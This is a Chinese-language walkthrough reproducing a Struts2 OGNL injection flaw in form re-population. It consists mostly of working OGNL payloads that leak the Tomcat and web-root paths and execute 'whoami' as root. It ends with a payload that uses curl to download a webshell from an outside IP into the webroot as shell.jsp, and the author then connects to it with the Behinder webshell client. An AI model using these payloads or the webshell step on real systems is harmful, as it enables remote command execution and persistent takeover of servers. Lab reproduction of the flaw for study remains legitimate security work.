漏洞简介:
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
复现:
启动环境,在输入密码的输入框输入%{1+1},但被解析成了4,存在漏洞
获取tomcat绝对路径,输入以下命令
%{"tomcatDir{"+@java.lang.System@getProperty("user.dir")+"}"}
获取web路径,输入以下语句
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
返回了web路径,为/usr/local/tomcat/webapps/ROOT
查看当前权限,返回为root,输入以下内容
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
使用burpsuite进行抓包,将以上的内容使用url编码,再进行输入
复现完成
进行挂马
进行挂马,以下内容,使用url编码
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"curl","-o","/usr/local/tomcat/webapps/ROOT/shell.jsp","http://106.52.39.144:82/shell.jpg"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
使用burpsuite进行抓包,进行修改
使用冰蝎进行连接查看